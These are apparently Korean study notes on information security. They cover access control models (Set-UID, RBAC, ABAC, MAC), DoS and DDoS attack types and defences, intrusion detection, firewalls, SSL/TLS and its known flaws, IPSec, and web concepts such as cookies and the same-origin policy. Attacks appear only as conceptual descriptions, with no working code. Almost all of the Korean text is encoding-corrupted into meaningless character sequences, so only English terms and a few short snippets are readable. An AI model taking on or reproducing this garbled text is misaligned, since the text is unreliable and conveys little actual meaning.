์ด๋ธ ํ์ฅ๋ ์ ๊ทผ ์ ์ด ๋งคํธ๋ฆญ์ค UNIX ํ์ผ ์ ๊ทผ ์ ์ด Set-UID : ์คํํ ๋, euid๋ฅผ ์์ ์์ id๋ก ์ค์ ๋จ ex) -rwsr-xr-x : 4755 Set-GID : ์คํํ ๋, egid๋ฅผ ์์ ๊ทธ๋ฃน์ id๋ก ์ค์ ๋จ ex) -rwxr-sr-x : 2755 ํจ์ค์๋ ํ์ผ : /etc/shadow : ———- : 000 ์ญํ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด ์ฌ์ฉ์์ ์ญํ ์ ๋ฐ๋ผ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐฉ์
์ญํ ๊ณ์ธต - RBAC1 ์ญํ ๊ตฌ์กฐ๋ ๊ธฐ๊ด ๋ด ์ญํ ์ ๊ณ์ธต ๊ตฌ์กฐ๋ฅผ ๋ํ๋ด๋ ์๋จ
์ ์ฝ(์ ์ ์กฐ๊ฑด)์ ์๋ฏธ์ ์ข
๋ฅ - RBAC2 ์ ์ฝ์ ์ข
๋ฅ ์ํธ ๋ฐฐํ์ ์ธ ์ญํ : ์ง๋ฌด์ ๋ฅ๋ ฅ์ ๋ถ๋ฆฌ cardinality : ์ญํ ์ ๊ดํ ์ต๋์ซ์๋ฅผ ์ค์ ์ ์ ์กฐ๊ฑด : ํน์ ์ญํ ์ด ๋ค๋ฅธ ๋ช
์๋ ์ญํ ์ ํ ๋น ๋์๋ค๋ฉด, ์ฌ์ฉ์๋ ๊ทธ ์ญํ ์๋ง ํ ๋น๋ ์ ์๋ค ์์ฑ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด ์์๊ณผ ์ฃผ์ฒด์ ์ฑ์ง์ ํน์ฑ์ ๋ํ ์กฐ๊ฑด์ ํํํ์ฌ ์ ๊ทผ ๊ถํ์ ์ ์ํ๋ ๋ฐฉ์
ABAC ๋ชจ๋ธ์ 3๊ฐ์ง ์ฃผ์ ์์ ๊ตฌ์ฑ ๋ด์ ์กด์ฌ๋ฅผ ์ํด ์ ์๋ ์์ฑ ABAC ์ ์ฑ
์ ์ํด ์ ์๋ ์ ์ฑ
๋ชจ๋ธ ์ ๊ทผ ์ ์ด ์คํ์ ์ํ ์ ์ฑ
์ ์ ์ฉ๋๋ ๊ตฌ์กฐ ๋ชจ๋ธ ์์ฑ ์ฃผ์ฒด, ๊ฐ์ฒด ํ๊ฒฝ ์กฐ๊ฑด, ๊ถํ์ ์ํด ๋ฏธ๋ฆฌ ์ ์๋๊ณ ํ ๋น๋ ์๊ตฌ ๋์์ ํน์ ์ธก๋ฉด์ ์ ์ํ๋ ์ฑ์ง
์ ํ ์ฃผ์ฒด ์์ฑ : ์ฌ์ฉ์, ์์ฉ ํ๋ก๊ทธ๋จ, ํ๋ก์ธ์ค, ๋๋ฐ์ด์ค ๊ฐ์ฒด ์์ฑ : ๋๋ฐ์ด์ค, ํ์ผ, ํ๋ก๊ทธ๋จ, ๋คํธ์ํฌ ๋ฑ ํ๊ฒฝ ์์ฑ : ๋ ์ง, ์๊ฐ, ๋คํธ์ํฌ ๋ณด์ ๋ ๋ฒจ ๋ฑ ABAC์ ๋
ผ๋ฆฌ ๊ตฌ์กฐ ACL ์ ๊ทผ ์ฒด์ธ ABAC ์ ๋ขฐ ์ฒด์ธ ์ ์ฑ
์กฐ์ง ๋ด์์ ์ฃผ์ฒด์ ๊ถํ๊ณผ ํ๊ฒฝ ์กฐ๊ฑด์์ ์์ ํน์ ๊ฐ์ฒด๋ค์ด ๋ณดํธ๋๋ ๊ฒ์ ๊ธฐ๋ฐํ ํ๊ฐ๋ ํ์๋ฅผ ๊ด๋ฆฌํ๋ ๊ท์น๊ณผ ๊ด๊ณ์ ์งํฉ
๊ฐ์ ์ ์ ๊ทผ ์ ์ด (MAC) ๊ฐ์ฒด์ ํฌํจ๋ ์ ๋ณด์ ๋น๋ฐ์ฑ๊ณผ ์ด๋ฌํ ๋น๋ฐ์ฑ์ ์ ๊ทผ ์ ๋ณด์ ๋ํ์ฌ ์ฃผ์ฒด๊ฐ ๊ฐ๋ ๊ถํ์ ๊ทผ๊ฑฐํ์ฌ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ์ ์ ํํ๋ ๋ฐฉ๋ฒ
๊ธฐ๋ฐ์ฑ์ ๋ฐ๋ฅธ ์ ๊ทผ ๊ถํ ์ ์ด No read up (๋จ์ ๋ณด์ ์์ฑ) ๋ณด์ ์์ค์ด ๋ฎ์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋์ ๊ฐ์ฒด๋ฅผ ์ฝ์ ์ ์์
No write down (*(์คํ) ๋ณด์ ํน์ฑ) ๋ณด์ ์์ค์ด ๋์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋ฎ์ ๊ฐ์ฒด์ ๊ธฐ๋กํ ์ ์์
๋ฌด๊ฒฐ์ฑ์ ๋ฐ๋ฅธ ์ ๊ทผ ๊ถํ ์ ์ด No read up (๋จ์ ๋ฌด๊ฒฐ์ฑ ํน์ฑ) ๋ณด์ ์์ค์ด ๋์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋ฎ์ ๊ฐ์ฒด๋ฅผ ์ฝ์ ์ ์์
No write down (*(์คํ) ๋ฌด๊ฒฐ์ฑ ํน์ฑ) ๋ณด์ ์์ค์ด ๋ฎ์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋์ ๊ฐ์ฒด์ ๊ธฐ๋กํ ์ ์์
์ ์, ์ ์ฉ์ฅ, ์ ๊ทผ ๊ด๋ฆฌ (ICAM) ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ๊ณต๊ฒฉํ ์ ์๋ ์์ : ๋คํธ์ํฌ ๋์ญํญ, ์์คํ
์์, ์์ฉ ํ๋ก๊ทธ๋จ ์์ ์ ํต์ ์ธ DoS ๊ณต๊ฒฉ ํ๋ฌ๋ฉ ํ ๋ช
๋ น ๋์ ์กฐ์ง์ ๋ํด ๋คํธ์ํฌ ์ฐ๊ฒฐ ๊ธฐ๋ฅ์ ์ ์ํ๋ ๊ฒ์ด ๋ชฉ์
์์ ์ฃผ์ ์คํธํ ์์กฐ๋ ์์ค ์ฃผ์ ์ฌ์ฉ ํ๋ฐฉ ์ฐ๋(backscatter) ํธ๋ํฝ์ ์ด์ฉํด ๋์ SYN ์คํธํ ์ผ๋ฐ์ ์ธ DoS๊ณต๊ฒฉ ์ฐ๊ฒฐ์ ๊ด๋ฆฌํ๋ ํ
์ด๋ธ์ ๋์น๊ฒ ํจ Flooding ๊ณต๊ฒฉ์ ๋นํด ์ ์ ํธ๋ํฝ์ผ๋ก ๊ณต๊ฒฉ ๊ฐ๋ฅ ๊ณต๊ฒฉ์ ์
์ฅ ์คํธํ๋ ์์คํ
์ด ์กด์ฌํ๋ค๋ฉด Reset ํจํท์ ์์ ์กด์ฌํ์ง ์์ผ๋ฉด ํ์ด๋จธ์ ์ํ ์ฌ์ ์ก ํ ์ํธ๋ฆฌ ์ญ์ Reset์ผ๋ก ๋ฐ์ํ์ง ์๋ ์ฃผ์๋ฅผ ์ฌ์ฉ ํ๋ฌ๋ฉ ๊ณต๊ฒฉ ํ๋กํ ์ฝ์ ๋ฐ๋ผ ๋ถ๋ฅ ICMP ํ๋ฌ๋ฉ UDP ํ๋ฌ๋ฉ TCP SYN ํ๋ฌ๋ฉ DDoS (Distributed Denial of Service) ์ฌ๋ฌ ๋์ ์ปดํจํฐ๋ฅผ ์ฌ์ฉํ์ฌ ๋์ ์์คํ
์ ๊ณต๊ฒฉํ๋ ๋ฐฉ์
๋ถ์ฐ ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ์์ฉํ๋ก๊ทธ๋จ ๊ธฐ๋ฐ ๋์ญํญ ๊ณต๊ฒฉ ์ธ์
๊ฐ์ ํ๋กํ ์ฝ(SIP) ํ๋ฌ๋ ์ธ์
๊ฐ์ ํ๋กํ ์ฝ : VoIP ๊ธฐ์ ์ ๋ํ ํ์ค ํ๋กํ ์ฝ HTTP ๊ธฐ๋ฐ ๊ณต๊ฒฉ ์คํ์ด๋๋ง(spidering) ํน์ HTTP ๋งํฌ์์ ์์๋๋ฉฐ, ์ฌ๊ท์ ๋ฐฉ์์ผ๋ก ์ ๊ณต๋๋ ์น์ฌ์ดํธ์ ๋ชจ๋ ๋งํฌ๋ฅผ ๋ฐ๋ฅด๋ ๋ด
R-U-DEAD-YET (RUDY) ๊ณต๊ฒฉ Content-Length๋ฅผ ํฌ๊ฒ ์ค์ ํ์ฌ ์๋ฒ์ ์ง์ฐ์ ์ ๋ฐํ๋ ๊ธฐ๋ฒ
Slowloris ๊ณต๊ฒฉ ๋น์ ์์ ์ธ ํค๋ ๊ฐ์ ์๋ฒ๋ก ์์ฒญํ์ฌ ์ฐ๊ฒฐ์ ์ ์งํ์ฌ, ์๋ฒ๊ฐ ํค๋๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ฒ ํ๋ ๊ณต๊ฒฉ
๋ฐ์ฌ ๋ฐ ์ฆํญ ๊ณต๊ฒฉ ๋ฐ์ฌ ๊ณต๊ฒฉ TCP SYN ์คํธํ ๊ณต๊ฒฉ DNS ๋ฐ์ฌ ๊ณต๊ฒฉ ์ฆํญ ๊ณต๊ฒฉ (smurfs) DNS ์ฆํญ ๊ณต๊ฒฉ ๊ณต๊ฒฉ์๊ฐ ํ๊ฒ ์์คํ
์ ์คํธํ ์์ค ์ฃผ์๋ฅผ ๋ด๊ณ ์๋ DNS ์ฐ์์ ์์ฒญ ์ ์ ์์ฒญ์ผ๋ก ๋ง์ ํธ๋ํฝ์ ๋ฐ์์ํค๋ DNS ํ์๋ฅผ ์ด์ฉ ๋ฐฉ์ด์ฑ
: ์คํธํ ์์ค ์ฃผ์์ ์ฌ์ฉ์ ๋ฐฉ์ง DoS ๊ณต๊ฒฉ ๋ฐฉ์ด, ์๋ฐฉ, ๋์ DoS ๊ณต๊ฒฉ ์๋ฐฉ ์คํธํ ์์ค ์ฃผ์ ์ฐจ๋จ TCP ์ฐ๊ฒฐ ๊ด๋ จ ์ฝ๋๋ฅผ ์์ IP ๋ค์ด๋ ํธ ๋ธ๋ก๋์บ์คํ
๊ธฐ๋ฅ ์ฐจ๋จ ์์ฌ์ค๋ฌ์ด ์๋น์ค๋ ๋ถํธ์กฐํฉ ์ฐจ๋จ capcha๋ฅผ ์ด์ฉํด ์๋ํ๋ ์์ฒญ ์ฐจ๋จ ์๋ง์ ํ์ค ์์คํ
๋ณด์ ๊ดํํ ๋ฏธ๋ฌ ์๋ฒ ๋๋ ๋ณต์ ์๋ฒ์ ์ฌ์ฉ DoS ๊ณต๊ฒฉ ๋์ ๊ณต๊ฒฉ ์ ํ ํ์ธ : ํจํท ์บก์ฒ ISP๋ก ํจํท์ ํ๋ฆ์ ์ญ์ถ์ : ๋์ ๋น์ฉ ๋ฐ์ ๋น์ ์ฌํ ๊ณํ ๊ตฌํ ์ฌ๊ณ ๋์ ๊ณํ ์
๋ฐ์ดํธ DNS ์ฑํฌํ ์ ์ฉ ์ข๋น์ C&C ์๋ฒ์ ํต์ ์ ์ฐจ๋จํ๋ ๋ฐฉ๋ฒ
DDoS ๋ํผ์ ์นจ์
ํ์ง์ ์นจ์
์ฐจ๋จ ์นจ์
์ ์นจ์
์ ์ ํ ์ฌ์ด๋ฒ ๋ฒ์ฃ์ ํดํน์ฃผ์์ ์ ๋ถ ํ์ ์ง๋จ ๊ธฐํ ํ๋ ํจํด ๊ณต๊ฒฉ ๋์ ํฌ์ฐฉ ๋ฐ ์ ๋ณด ์์ง ์ด๊ธฐ ์ ์ ๊ถํ ์์น ์ ๋ณด ์์ง ๋๋ ์์คํ
๊ณต๊ฒฉ ์ ๊ทผ ๊ด๋ฆฌ ์ถ์ ํํผ ์นจ์
ํ์ง ๋ณด์ ์นจ์
: ์นจ์
์๊ฐ ํ๊ฐ ๊ถํ ์์ด ์์คํ
(๋๋ ์์)์ ๋นผ๋ด๊ฑฐ๋ ์ก์ธ์คํ๋ ค๋ ์๋๋ก ๊ตฌ์ฑ๋ ์ฌ๊ฑด์ ์กฐํฉ ์นจ์
ํ์ง : ํ๊ฐ๋์ง ์์ ๋ฐฉ์์ผ๋ก ์์คํ
์์์์์ ์ ๊ทผ ์๋๋ฅผ ๋ฐ๊ฒฌ ๋ฐ ์ค์๊ฐ์ผ๋ก ์๋ ค์ฃผ๋ ๋ชฉ์ ์ ์์คํ
์ ๋ชจ๋ํฐ๋งํ๊ณ ๋ถ์ํ๋ ๋ณด์ ์๋น์ค ์นจ์
ํ์ง ์์คํ
(IDS) ํธ์คํธ ๊ธฐ๋ฐ IDS ๋คํธ์ํฌ ๊ธฐ๋ฐ IDS ๋ถ์ฐ IDS ๋๋ ํ์ด๋ธ๋ฆฌ๋ IDS ๋ถ์ ๋ฐฉ๋ฒ ์ด์ ์งํ ํ์ง ํ๋ ๊ธฐ๋ฐ ํ์ง : ํ๋ ํจํด์ ๊ธฐ๋ฐ์ผ๋ก ํ์ง ์๊ทธ๋์ฒ ํ์ง : ์๋ ค์ง ๊ณต๊ฒฉ ํจํด์ ๊ธฐ๋ฐ์ผ๋ก ํ์ง ์๊ทธ๋์ฒ ๋ฐฉ์ ๋๋ ํด๋ฆฌ์คํฑ ๋ฐฉ์ ํธ์คํธ ๊ธฐ๋ฐ IDS HIDS ์ทจ์ฝํ๊ฑฐ๋ ๋ฏผ๊ฐํ ์์คํ
์ ํน์ ๋ณด์ ์ํํธ์จ์ด ๊ณ์ธต์ ์ถ๊ฐ
๋ฐ์ดํฐ ์์ค ์์คํ
ํธ์ถ ์ถ์ ๋ก๊ทธ ํ์ผ ๋ค์ดํฐ๋ธ ๊ฐ์ฌ ๊ธฐ๋ก : ์์คํ
์ด ์์ฑํ๋ ๋ก๊ทธ ํ์ผ ํน์ ๊ฐ์ฌ ๊ธฐ๋ก : IDS์ ์ํด ์๊ตฌ๋ ์ ๋ณด๋ง์ ๊ธฐ๋กํ๋ ์์ง ์์ค ํ์ผ ๋ฌด๊ฒฐ์ฑ ์ฒดํฌ์ฌ ๋ ์ง์คํธ๋ฆฌ ์ก์ธ์ค USTAT ์ก์
vs SunOS ์ด๋ฒคํธ ์ ํ ๋ถ์ฐ ํธ์คํธ ๊ธฐ๋ฐ ์นจ์
ํ์ง ๋คํธ์ํฌ ๊ธฐ๋ฐ IDS NIDS ๋คํธ์ํฌ ํธ๋ํฝ์ ๋ชจ๋ํฐ๋งํ์ฌ ์นจ์
์ ํ์ง
NIDS ์ผ์ ๋ฐฐ์น ์ธ๋ผ์ธ ์ผ์ : ๋คํธ์ํฌ ์ธ๊ทธ๋จผํธ์ ์ฝ์
๋์ด ๊ทธ ์ผ์๋ฅผ ํต๊ณผํ๋ ํธ๋ํฝ๋ง ๊ฐ์ง ์๋ ์ผ์ : ๋คํธ์ํฌ ํธ๋ํฝ ์ฌ๋ณธ์ ๊ฐ์ ์นจ์
ํ์ง ๊ธฐ๋ฒ ์๊ทธ๋์ฒ ํ์ง ์ด์ ์งํ ๊ฐ์ง Stateful protocol analysis ํธ๋ํฝ์ ์ํ๋ฅผ ์ถ์ ํ์ฌ ๋น์ ์์ ์ธ ํธ๋ํฝ์ ํ์ง
๋ฐฉํ๋ฒฝ ๊ธฐ๋ฅ ์ ๊ทผ ํต์ ์ฌ์ฉ์ ์ธ์ฆ ๊ฐ์ฌ ๋ฐ ๋ก๊ทธ ๊ธฐ๋ฅ ์ฃผ์ ๋ณํ ๊ธฐ๋ฅ (NAT) ์ข
๋ฅ ํธ์คํธ ๊ธฐ๋ฐ ๋ฐฉํ๋ฒฝ ๋คํธ์ํฌ ๊ธฐ๋ฐ ๋ฐฉํ๋ฒฝ ํตํฉ ์ํ ๊ด๋ฆฌ (UTM) ๋ฐฉํ๋ฒฝ, IDS, IPS, ๋ฐฑ์ ๋ฑ์ ๋ค์ํ ๋ณด์์๋ฃจ์
์ ๊ธฐ๋ฅ์ ํ๋๋ก ํตํฉํ ์ฅ๋น
ํธ์์ฑ์ด ๋๊ณ ๋น์ฉ์ ์ ๊ฐํ ์ ์์ ํ๋ํ ๊ณต๊ฒฉ์์ ๊ณต๊ฒฉ์ ์ ๋ํ์ฌ ๊ณต๊ฒฉ์์ ํ๋์ ๋ถ์ํ๋ ์์คํ
์ค๋
ธํธ ํธ์คํธ ๋๋ ๋คํธ์ํฌ ๊ธฐ๋ฐ์ ์คํ์์ค IDS
ํจํท ๋์ฝ๋ : ํ๋กํ ์ฝ ํค๋ ์๋ณ ๋ฐ ๊ฒฉ๋ฆฌ ํ์ง ์์ง : ๊ท์น ์งํฉ์ ๊ธฐ๋ฐ์ผ๋ก ๊ฐ ํจํท์ ๋ถ์ ๋ก๊ฑฐ : ๊ท์น๊ณผ ์ผ์นํ๋ ๊ฐ ํจํท์ ์ํ์ผ๋ก ์ ์ฅ ๊ฒฝ๊ณ : ํ์ง๋ ํจํท์ ๋ํด ๊ฒฝ๊ณ ๋ฅผ ๋ณด๋ SSL/TLS/VPN SSL์ ๊ธฐ๋ณธ ๊ฐ๋
SSL/TLS ํ๋กํ ์ฝ ๊ตฌ์ฑ Handshake Layer : Handshake, Cipher spec ๋ณ๊ฒฝ, Alert ํ๋กํ ์ฝ๋ก ๊ตฌ์ฑ Record Layer : ๋จํธํ, ์์ถ, ๋ฌด๊ฒฐ์ฑ, ์ํธํ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ Record ํ๋กํ ์ฝ๋ก ๊ตฌ์ฑ SSL/TLS Handshake client->server hello server->client hello certificate : ์๋ฒ ์ธ์ฆ์ server key exchange : ์๋ฒ ํค ๊ตํ certificate_request : ํด๋ผ์ด์ธํธ ์ธ์ฆ์ ์์ฒญ (์ ํ) hello done client->server certificate : ํด๋ผ์ด์ธํธ ์ธ์ฆ์ (์ ํ) client key exchange : ํด๋ผ์ด์ธํธ ํค ๊ตํ certificate_verify : ์๋ฒ ์ธ์ฆ์ ๊ฒ์ฆ (์ ํ) change cipher spec finished server->client change cipher spec finished Change Cipher Spec Protocol ์๋๋ฐฉ์๊ฒ ์๋ก์ด ์ํธํ ๋ฐฉ์์ ์ฌ์ฉํ๋๋ก ์๋ฆฌ๊ธฐ ์ํด ์ฌ์ฉ
Alert Protocol ์ค๋ฅ ๋ฐ์์ ์๋๋ฐฉ์๊ฒ ์ค๋ฅ๋ฅผ ํต๋ณดํ๊ธฐ ์ํด ์ฌ์ฉ
๊ฒฝ๊ณ ์ ์ฌ๊ฐ์ผ๋ก ๋ถ๋ฅ, ์ฌ๊ฐ์ ๊ฒฝ์ฐ ์ฐ๊ฒฐ ์ข
๋ฃ Record Protocol ๋์๊ณผ์ : ๋จํธํ -> ์์ถ(์ ํ) -> MAC ์ฒจ๋ถ -> ์ํธํ -> SSL ๋ ์ฝ๋ ํค๋ ๋ถ์ด๊ธฐ MAC : ํค ๊ณต์ ๊ณผ์ ์์ ๋์ถ๋ ๋น๋ฐํค ์ฌ์ฉ ์ํธํ : ์์ถ๋ ๋ฉ์์ง์ MAC์ ๋์นญ ์ํธ๋ก ์ํธํ SSL vs TLS Handshake์์์ ์ฐจ์ด์ TLS๋ก ๋ฐ์ ํ๋ฉด์ Handshake ํ๋ก์ธ์ค๋ฅผ ์ค์ ์ฌ์ฉํ๋ ์ด ์ํธ ๊ทธ๋ฃน ์๋ฅผ ์ค์ฌ ํ๋ก์ธ์ค ์๋๋ฅผ ํฅ์ Alert์์์ ์ฐจ์ด์ ์๋ฆผ ๋ฉ์์ง ์ ํ์ด ์ถ๊ฐ๋จ TLS Alert๋ ๋ณด์์ ์ํด ์ํธํ๋์ด ์ ์ก๋จ ๋ฉ์์ง ์ธ์ฆ์์์ ์ฐจ์ด์ SSL์ MAC์ ์ฌ์ฉ, TLS๋ HMAC์ ์ฌ์ฉ Cipher suite์์์ ์ฐจ์ด์ ์ทจ์ฝํ ์๊ณ ๋ฆฌ์ฆ(RC4, DES) ์ฌ์ฉ ์ค๋จ ์ ๊ท ํค ๊ตํ, ๊ฒ์ฆ, ์ํธํ, MAC ์๊ณ ๋ฆฌ์ฆ ์ ์ฉ TLS๋ ๋ฒ์ ๋ณ๋ก ์ง์ํ๋ Cipher suite๊ฐ ๋ค๋ฆ SSL/TLS ํ์ฉ TLS ์๋ฒ ๊ตฌ์ถ ๋ฐฉ๋ฒ ํค์ ์์ฑ ์์ฑํ ๊ณต๊ฐํค๋ฅผ ๋ฃ์ด์ CSR ์์ฑ, ๊ฐ์ธํค๋ก ์ ์ ์๋ช
CSR์ ์ธ์ฆ์ ๋ฐ๊ธ๊ธฐ๊ด์ ์ ์ก ์ธ์ฆ์ ๋ฐ๊ธ๊ธฐ๊ด์ CSR์ ์ ์ ์๋ช
์ CSR์ ํฌํจ๋ ๊ณต๊ฐํค๋ก ์๋ช
๊ฒ์ฆ ์ฌ์ฉ์์ ๊ณต๊ฐํค์ ์ถ๊ฐ์ ๋ณด(๋๋ฉ์ธ, ์ด๋ฉ์ผ ๋ฑ)๋ฅผ ์ถ๊ฐํ์ฌ SSL ์ธ์ฆ์ ๋ฐ๊ธ ์น์๋ฒ์ ์ ์ฉ SSL/TLS ์๋ฒ์ ๋ณด์ ๊ฐํ HSTS (HTTP Strict Transport Security) HTTPS๋ก๋ง ํต์ ํ๋๋ก ๊ฐ์ ํ๋ ๊ธฐ์
ํค๋์ Strict-Transport-Security๋ฅผ ์ค์ max-age ๊ธฐ๊ฐ๋์ ์๋ ์ ์ฉ SSL/TLS ์ทจ์ฝ์ TLSv1.2์ด์ ์ ํ๋กํ ์ฝ์ ์ทจ์ฝ์ ์ด ์กด์ฌ POODLE (Padding Oracle On Downgraded Legacy Encryption) ๋ธ๋ก ์ํธํ ๊ธฐ๋ฒ์ธ CBC ๋ชจ๋ ์ฌ์ฉ์ ์ํธ๋ฌธ์ด MAC์ ์ํด ๋ณดํธ๋์ง ์๋ ์ทจ์ฝ์
DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) ๊ณต๊ฒฉ์๊ฐ SSLv2 proves๋ฅผ ์ก์ ํ์ฌ ํค๋ฅผ ์ฐพ์๋ผ ์ ์๋ ์ทจ์ฝ์
BEAST (Browser Exploit Against SSL/TLS) CBC์ ์ทจ์ฝ์ ์ ์ด์ฉํด HTTPS ์ฟ ํค๋ฅผ ํด๋
ํ ์ ์๋ ์ทจ์ฝ์
FREAK (Factoring RSA Export Keys) SSL ์๋ฒ๊ฐ ๊ณต๊ฒฉ์ ์ํด ์์ถ์ฉ RSA๋ฅผ ํ์ฉํ๋๋ก ๋ค์ด๊ทธ๋ ์ด๋ ์ํจํ Brute-force๋ก ํค๋ฅผ ์ฐพ์๋ด๋ ์ทจ์ฝ์
Logjam SSL ์๋ฒ๊ฐ ๊ณต๊ฒฉ์ ์ํด ์์ถ์ฉ DHE๋ฅผ ํ์ฉํ๋๋ก ๋ค์ด๊ทธ๋ ์ด๋ ์ํจํ Brute-force๋ก ํค๋ฅผ ์ฐพ์๋ด๋ ์ทจ์ฝ์
Heartbleed OpenSSL 1.0.1์ ๋ฉ๋ชจ๋ฆฌ ๋์ ์ทจ์ฝ์
์ทจ์ฝ์ ๋์ ์๋ฒ ๊ด๋ฆฌ์ : ์ทจ์ฝํ ํ๋กํ ์ฝ, Cipher suite๋ฅผ ์ฌ์ฉํ์ง ์๋๋ก ์ค์ , ์ฒ ์ ํ ๋น๋ฐํค ๊ด๋ฆฌ ํด๋ผ์ด์ธํธ ์ฌ์ฉ์ : ์ต์ ๋ฒ์ ์ ๋ธ๋ผ์ฐ์ ์ ์ง, ์๋ฒ์ ์ธ์ฆ์ ํ์ธ, ์์ ํ์ง ์์ ์ฌ์ดํธ ๋ฐฉ๋ฌธ ์์ ๊ณตํต : ์ต์ SLS/TLS ํ๋กํ ์ฝ ์ํํธ์จ์ด ์ฌ์ฉ HTTPS ํจํท ์ฐจ๋จ ๊ธฐ์ ๋ฐ ์ด์ DNS ์๋ฒ ์๋ต ๋ณ์กฐ ๋ฐ IP ์ฐจ๋จ DNS ์๋ฒ์ ์๋ต์ ๋ณ์กฐํ์ฌ HTTPS ์ ์์ ์ฐจ๋จํ๋ ๊ธฐ์
CDN ์๋ฒ ๊ฒฝ์ ๋ฅผ ํตํด ์ฐํํ๋ ์ฌ๋ก๊ฐ ๋ฑ์ฅ -> ํจํท ๋ถ์ ๊ธฐ๋ฐ ์ฐจ๋จ ํจํท ๋ถ์ ๊ธฐ๋ฐ ์ฐจ๋จ ํจํท์ ๋ถ์ํ์ฌ HTTPS ํจํท์ ์ฐจ๋จํ๋ ๊ธฐ์
DPI (Deep Packet Inspection) : ํจํท์ ํค๋์ ํ์ด๋ก๋๋ฅผ ๋ถ์ํ์ฌ ์ฐจ๋จ HTTPS SNI ๊ธฐ๋ฐ ์ฐจ๋จ TLS ํต์ ํ์ค์ ์ญ์ด์ฉํ ์ฐจ๋จ ๋ฐฉ๋ฒ SNI๋ Client Hello ๋จ๊ณ์์ ํ๋ฌธ์ผ๋ก ์ ์ก๋๋ค๋ ํน์ฑ์ ํ์ฉํ์ฌ ์ฐจ๋จ TLS ์
์ฉ๊ณผ ๋์ ๊ธฐ์ ์
์ฉ์ฌ๋ก ์ ๋ณด ์ ์ถ ๊ฒฝ๋ก๋ก์ ์
์ฉ SSL/TLS ๊ธฐ์ ์ ์ญ์ด์ฉํ์ฌ ๋ด๋ถ ์ ๋ณด ์ ์ถ ์ ๋ด์ฉ์ ์ ์ ์๋๋ก ํจ
์
์ฑ ์ฝ๋ ์ ์
ํต๋ก๋ก์ ์
์ฉ SSL/TLS ๊ธฐ์ ์ ์ด์ฉํ์ฌ ์
์ฑ ์ฝ๋๋ฅผ ์ ํฌํ๋ ํต๋ก๋ก ์ฌ์ฉ
๋์ ๊ธฐ์ TLS ๊ฐ์์ฑ ํ๋ณด ๊ธฐ์ SSL/TLS์ ๋ณตํธํ ํด ๊ฐ์์ฑ์ ํ๋ณดํ๋ ๊ธฐ์
TLS Fingering ๊ธฐ์ TLS Handshake ๋ฐ ํธ๋ํฝ์์ ํน์ง์ ์ถ์ถํ์ฌ ํด๋ผ์ด์ธํธ ๋ฐ ์๋ฒ๋ฅผ ์๋ณํ๋ ๊ธฐ์
๋ฉ์์ง๋ฅผ ์ฑ์ทจ -> ํ๋ ์ถ์ถ -> ์ง๋ฌธ ๋ฐ์ดํฐ ์์ฑ -> ์ ์ฅ ๋ฐ ๋น๊ต ๊ธฐ๋ฒ ์ฌ์ฉ ์์ : JA3, ์ธ๊ณต์ง๋ฅ ๊ธฐ๋ฐ ๊ธฐ์ IPSec IP ํจํท์ ๋ณดํธํ๊ธฐ ์ํ ํ๋กํ ์ฝ
IPSec ๊ฐ์ ์ ๊ณต : ์ธ์ฆ, ๊ธฐ๋ฐ์ฑ, ํค ๊ด๋ฆฌ ๋ ๊ฐ์ง ๋ชจ๋ ์ ์ก ๋ชจ๋ : ํ์ด๋ก๋๋ง ์ํธํ ํฐ๋ ๋ชจ๋ : ํค๋์ ํ์ด๋ก๋ ๋ชจ๋ ์ํธํ ํ๋กํ ์ฝ AH(Authentication Header) ์ ๊ณต : ์ธ์ฆ, ๋ฌด๊ฒฐ์ฑ ESP(Encapsulating Security Payload) ์ ๊ณต : ์ธ์ฆ, ๊ธฐ๋ฐ์ฑ, ๋ฌด๊ฒฐ์ฑ ESP ๋จ๋
์ฌ์ฉ ๋๋ ESP+AH ์ฌ์ฉ(ํฐ๋๋ชจ๋) IKE (Internet Key Exchange) Web Security Model Web ๋ณด์์ ๋ชฉํ Integirty : ๋ฌด๊ฒฐ์ฑ Confidentiality : ๊ธฐ๋ฐ์ฑ HTTP URL https:// www.example.edu :80 /lectures ?lec=80 #slides protocol + hostname + port + path + query + fragment
Cookies ์๋ฒ๊ฐ ์น ๋ธ๋ผ์ฐ์ ์๊ฒ ๋ณด๋ด๋ ์ ๋ณด
์ญํ : ์ธ์
๊ด๋ฆฌ, ์ฌ์ฉ์ ์ค์ ์ ์ฅ, ์ฌ์ฉ์ ์ถ์ ๋ฑ 1// ์ฟ ํค ์ค์ 2Set-Cookie: name=value; 3// ์ฟ ํค ์ ์ก 4Cookie: name=value; Same Origin Policy (SOP) ๊ฐ์ Origin์์๋ง ๋ฆฌ์์ค๋ฅผ ๊ณต์ ํ ์ ์๋๋ก ํ๋ค
Origin scheme://domain:port
Domain Relaxation ์๋ธ ๋๋ฉ์ธ ๊ฐ์ ๋ฆฌ์์ค ๊ณต์
document.domain์ ์์ ํ์ฌ, ์๋ธ ๋๋ฉ์ธ ๊ฐ์ ๋ฆฌ์์ค ๊ณต์ ๊ฐ๋ฅ
์์
1a.domain.com -> domain.com ๊ฐ๋ฅ 2a.domain.com -> b.domain.com ๋ถ๊ฐ๋ฅ 3a.domain.com -> com ๋ถ๊ฐ๋ฅ ์ทจ์ฝ์ : ์
์์ ์ธ ์ฌ์ดํธ๊ฐ document.domain์ ์์ ํ์ฌ ์ ๊ทผ์ ์๋ํ ์ ์์
ํด๊ฒฐ๋ฐฉ๋ฒ : Mozilla Public Suffix List (PSL) ์ฌ์ฉ
BroadcastChannel API ๊ฐ์ origin์ ๋ค๋ฅธ context ๊ฐ์ ํต์
์ฌ์ฉ๋ฒ 1const bc = new BroadcastChannel('channel'); 2bc.postMessage('message'); 3bc.onmessage = (e) => console.log(e.data); XMLHttpRequest (XHR) ์๋ฒ์ ๋น๋๊ธฐ ํต์ ์ ์ํ ๊ฐ์ฒด
